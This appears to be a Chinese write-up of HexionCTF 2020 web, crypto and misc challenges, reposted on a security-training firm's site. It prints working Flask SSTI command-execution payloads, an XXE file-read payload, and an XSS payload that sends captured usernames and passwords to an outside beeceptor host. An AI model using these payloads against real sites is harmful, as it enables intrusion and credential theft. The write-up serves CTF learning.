网站导航

新闻资讯

当前位置:首页 > 新闻资讯

HexionCTF web&crypto&misc题目分析

发布时间:2020-05-14

简要描述:

作者: uzi_god合天智汇HexionCTF 2020 都是一些基础和中等的题目,但是没有 ak,等到官方 wp 出来之后就整理了一下,发现还是有一些知识没有掌握的web
Well Known
打开靶机发现是...

详细介绍

作者: uzi_god合天智汇

HexionCTF 2020 都是一些基础和中等的题目,但是没有 ak,等到官方 wp 出来之后就整理了一下,发现还是有一些知识没有掌握的

web

Well Known

打开靶机发现是 404 页面,看一下 robots.txt

Sitemap: sitemap.xml
Allow: *

访问 sitemap.xml 可以看到给了三个 url

?xml version="1.0" encoding="UTF-8"?>urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
   url>
      loc>https://wk.hexionteam.com/404.html/loc>
   /url>
  url>
      loc>https://wk.hexionteam.com/robots.txt/loc>
   /url>
  url>
      loc>https://wk.hexionteam.com/.well-known/security.txt/loc>
   /url>
/urlset>

Weekly CTF

{ res.forEach(o => { notesList.append(document.createTextNode(o)); }); }); /script>

访问 /notes ,可以看到创建的信息,这里看其实很像 python 的列表,就可以尝试 SSTI

v2-4d2c17e22de87bdeeb6aa92027c12a72_720w

创建 {{7*7}} 可以看到输出

v2-d544ebae6647a7c1dad89c4e2730fb0a_720w

接下来就是命令执行了,首先要可以访问到基类,payload 如下

{{''.__class__.__mro__[1].__subclasses__()}}

然后可以利用 os._wrap_close 类去执行命令,在基类中找到 class 'os._wrap_close'> 为 ''.__class__.__mro__[1].__subclasses__()[117]

构造 pyaload

''.__class__.mro()[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()

v2-e5ef8aacaf05db57ed73b55165e61780_720w

另外一种方法是直接利用 gevent.subprocess.Popen 进行 getshell

{{''.__class__.mro()[1].__subclasses__()[425](['cat','flag'], stdout=-1).communicate()[0] }}

Flask服务端模板注入漏洞

http://www.hetianlab.com/expc.do?ce=4af3f562-d936-41b0-9fec-b6fcfa6178b3

服务端模板注入是指用户输入的参数被服务端当成模板语言进行了渲染,导致代码执行。

JACC

flask session !-- API Version: 1.0.0 -->root> data> username>peri0d/username> is_admin>0/is_admin> /data> /root>

那就加一个 admin 为 1 的字段吧

!-- API Version: 1.0.0 -->root>
    data>
        username>peri0d/username>
        is_admin>1/is_admin>
        username>/username>
        is_admin>0/is_admin>
    /data>
/root>

编码一下

PCEtLSBBUEkgVmVyc2lvbjogMS4wLjAgLS0+Cjxyb290PgogICAgPGRhdGE+CiAgICAgICAgPHVzZXJuYW1lPnBlcmkwZDwvdXNlcm5hbWU+CiAgICAJPGlzX2FkbWluPjE8L2lzX2FkbWluPgogICAgICAgIDx1c2VybmFtZT48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==

然后就可以进入 admin 面板,查看源码可以发现

!-- If you are an admin and you forgot the password it's located on the server at /admin_pass-->

v2-6ec55f870bbffb59c736323513b655c2_720w

既然这里用到了 XML,在 username 处是不是存在 XXE

修改 XML 为 username = /username>username>Hey version = -->!DOCTYPE d [!ENTITY xxe SYSTEM \"file:///admin_pass\">]>!--

!-- API Version: -->!DOCTYPE d [!ENTITY xxe SYSTEM \"file:///admin_pass\">]>!-- -->root>
    data>
        username>/username>username>Hey/username>
        is_admin>0/is_admin>
    /data>
/root>

然后就可以获取密码,登陆即可获取 flag

XXE漏洞分析与实践

http://www.hetianlab.com/expc.do?ce=4d1a878f-03b7-4813-a714-3b0c3ee75d54

(理解XML外部实体注入攻击的原理与利用过程)

v2-e54413afc360640d2523af09b31f9fab_720w

Password Manager

xss bypass

打开靶机是一个登陆窗口

v2-bd1b362f7ccf5f77e8dc98f8589997a8_720w

直接点击 Login 发现可以直接登陆,然后来到 index 页面

v2-367f8a7fbf7a68ef597da97341cb39b9_720w

在这个页面进行了多次的 Submit 并未发现什么信息,在 Logout 时,发现 URL 多了一个 next 参数 http://34.76.228.102:2003/login?next=

尝试在 next 后面加东西,发现添加的内容会出现在 form method="post" action=""> 的 action 中

这就可以利用 XSS 获取管理员的账号密码了,f12 发现 input username 处 id 为 sfrusername ,且 password 处为 sfrpassword

在 action 这里可以使用 空格 绕过,再注入 js 语句,让 bot 点击就可以了

payload

http://34.76.228.102:2003/login?next=a oninput=fetch("https://frozenh.free.beeceptor.com/?username="+sfrusername.value+"-"+sfrpassword.value)

这里的话可以到 https://beeceptor.com/ 去注册一个临时的子域名,用于接收请求参数

v2-ca96b2e27ccf0c5421e56c22d9f1599c_720w

crypto

X0R

将附件下载下来之后,给了加密脚本 enc.py 和加密后的文件 flag.enc

比较关键的代码就是下面这一段

for i in range(len(flag)):
    data.append(chr(ord(flag[i]) ^ ord(next(key_gen))))

把 flag 里面的内容和随机生成的 key 按字符进行异或,结果就是加密后的文件

但是可以发现,随机生成的 key 只有 8-16 位,而 flag 是以 hexCTF{ 开头,那么就可以获取 key 的前 7 位

enc = open("flag.enc", "r").read()
key = ""
flag = "hexCTF{"

for i in range(7):
    key = key + chr(ord(flag[i])^ord(enc[i]))
# JtmZzCJ

还有一个问题就是密文是 42 位的,也就是说 flag 也是 42 位,并且这里是用同一个 key 进行循环加密的

key  = JtmZzCJxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
flag = hexCTF{**********************************}

写脚本进行爆破

from itertools import cycle

enc = open("flag.enc", "r").read()

# JtmZzCJ
key = ""

flag = "hexCTF{"

for i in range(7):
    key = key + chr(ord(flag[i])^ord(enc[i]))

print(key)

for i in range(8,16):
    f_key = cycle(key.ljust(i,'0'))
    res = ""
    for j in range(len(enc)):
        res = res + chr(ord(next(f_key))^ord(enc[j]))
    print(res)

最后的输出有很多个,但是里面只有两个是符合 flag 格式的,把中间的奇怪的字符去掉,由于还是不清楚 key,可以考虑 google 一下,然后就可以获取完整的 flag

hexCTF{(☻percali:♣agilist2¶expiali?↑cious}
hexCTF{(☻
!/soBypva#4♠# tvIuv^y+▼‼?↑cious}

hexCTF{xxpercalixxagilistxxexpialixxcious}
hexCTF{xxxxsoBypvaxxxxxtvIuvxyxxxxxxcious}

SSS

给了加密的源码,及 nc 域名 端口,Google 一下发现这题是 Shamir 密钥分享 (Shamir Secret Sharing)

****里面写的很详细了,脚本也是在这里面找到的

https://en.*********.org/wiki/Shamir%27s_Secret_Sharing

from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrimefrom pwn import *

def _extended_gcd(a, b):
    """
    Division in integers modulus p means finding the inverse of the
    denominator modulo p and then multiplying the numerator by this
    inverse (Note: inverse of A is B such that A*B % p == 1) this can
    be computed via extended Euclidean algorithm
    http://en.*********.org/wiki/Modular_multiplicative_inverse#Computation
    """
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a % b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    """Compute num / den modulo prime p

    To explain what this means, the return value will be such that
    the following is true: den * _divmod(num, den, p) % p == num
    """
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    """
    Find the y-value for the given x, given n (x, y) points;
    k points will define a polynomial of up to kth order.
    """
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares):
    """
    Recover the secret from share points
    (x, y points on the polynomial).
    """
    if len(shares)  2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, 2**521 - 1)


p = remote("challenges1.hexionteam.com", 5001)
p.recvuntil(">>> ")
shares = []

for i in range(0x40):
    p.sendline(str(i))
    data = p.recvuntil(">>> ").replace(" ", "").replace("\n", "").replace(">>>", "")
    shares.append((bytes_to_long((str(i)).encode()), int(data)))

print(long_to_bytes(recover_secret(shares)))

Really Smart Acronym

给了加密的源码,及 nc 域名 端口 ,这题是LSB Oracle Attack

从源码可以看到是 RSA,并且已知密文,输入明文对应的密文,输入密文对应的二进制明文最后一位

print("Flag:", pow(bytes_to_long(flag), key.e, key.n))print(pow(m, key.e, key.n))
print(bin(pow(c, key.d, key.n))[-1])

这里使用的是 pycrypto 库,一般它生成的 e 为 65537

在 python 中有一个特性,-1 % x = x-1 这里输入 -1 就可以获得 n 的值

剩下的就是 RSA 中的 LSB Oracle Attack 了。

用户知道 RSA 中的公钥 N,e 以及密文 c 并且可以任意构造密文 c1,返回它解密后 m1 的末尾某些位的性质。可以通过多次构造 c1 来把明文 m 缩小在某一个范围内。

因为 c = (m^e) mod N 构造 c1 = (2^e)*c mod N = (2m)^e mod N 对应的 c1 解密之后为 m1 = 2m mod N

数论中有个定理,c = 偶数 a mod 奇数 b,若 c 为奇数,则 a>b,若 c 为偶数,则 ab,结合上面的内容就可以缩小 m 的范围了

from Crypto.Util.number import *from Crypto.PublicKey import RSA
from pwn import *

p = remote("challenges1.hexionteam.com", 5000)
p.recvuntil("Flag: ")
c = int(p.recvuntil("\nO", drop=True))
e = 0x10001

p.recvuntil("=> ", drop=True)
p.sendline("-1")

n = int(p.recvuntil("Alot of unhelpful decrypts:", drop=True)) + 1
p.recvuntil("> ")
_max = n
_min = 0
i = 1
try:
    while i = 1024:
        p.sendline(str(c * pow(2 ** i, e, n)))
        a = p.recvuntil("\n> ", drop=True)
        if b"0" == a:
            # even
            _max = (_max + _min) // 2
        else:
            # odd
            _min = (_max + _min) // 2
        i += 1
except:
    pass
print(long_to_bytes(_max))

# misc

Mirage

f12 可以发现一个 url https://mirage.hexionteam.com/assets/hexfont.ttf 这是一个字体文件

看到字体文件就想到了 FontForge

下载 ttf 后使用 FontForge 可以找到对应的编码表

Hmmm

附件是一个二进制文件,file 命令查看一下发现是 ELF

v2-b7bd157505f5ef3ad6c84210ec5a7f02_720w

执行了一下看看

v2-da13f4525a90cb36dffa7fc733537098_720w

然后试着 cat 一下

v2-24a511205efd6c17dda31959de56ba4d_720w

over,查了一下其他的 wp

查看 ELF 文件的所有信息 readelf -a ./hmmm 发现里面有个段 .note.f14g

v2-648c5e9aa2130603d34ed82382e576df_720w

显示 note 段信息 readelf -n ./hmmm 发现 .note.f14g 这个段是被破坏的

v2-181a0cb3601af51eac2cf21f3b3bc82d_720w

考虑 hexdump objdump -j .note.f14g -s hmmm

v2-5467545d1ea8a1585245e17d22d6d45f_720w

可以读到 flag,直接写脚本

from pwn import ELF

section = ELF('./hmmm').get_section_by_name('.note.f14g').data()
print(''.join([chr(_) for _ in section if _ != 0]))

Treturn v}{x+=comp(strtonum("0x"$2));y+=comp(strtonum("0x"$3))}$1=="01"{print x,y}' 2.txt > 3.txt

最后用 Gnuplot 画出来,得到一个镜像图片,在 3D 画图 里面就可以翻转了

v2-28224288a061a6e12aeacd699d967145_720w

CTF实验室

CTF从入门到实践-CTF一站式学习平台-合天网安实验室

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

渗透测试训练营

掌握渗透测试岗位9大核心知识体系,提升自身岗位竞争力

40+实战训练及考核,提升动手操作能力

胜任渗透测试工程师岗位功能能力

v2-047ad39e19f465363ec0f94bcb0ad5bf_720w


 


推荐产品

如果您有任何问题,请跟我们联系!

联系我们

Copyright © 武汉网盾科技有限公司 版权所有 备案号:鄂ICP备2023003462号-5

地址:武汉市东湖高新区光谷大道光谷世贸中心A栋23楼

在线客服 联系方式 二维码

服务热线

18696195380/18672920250

扫一扫,关注我们

关闭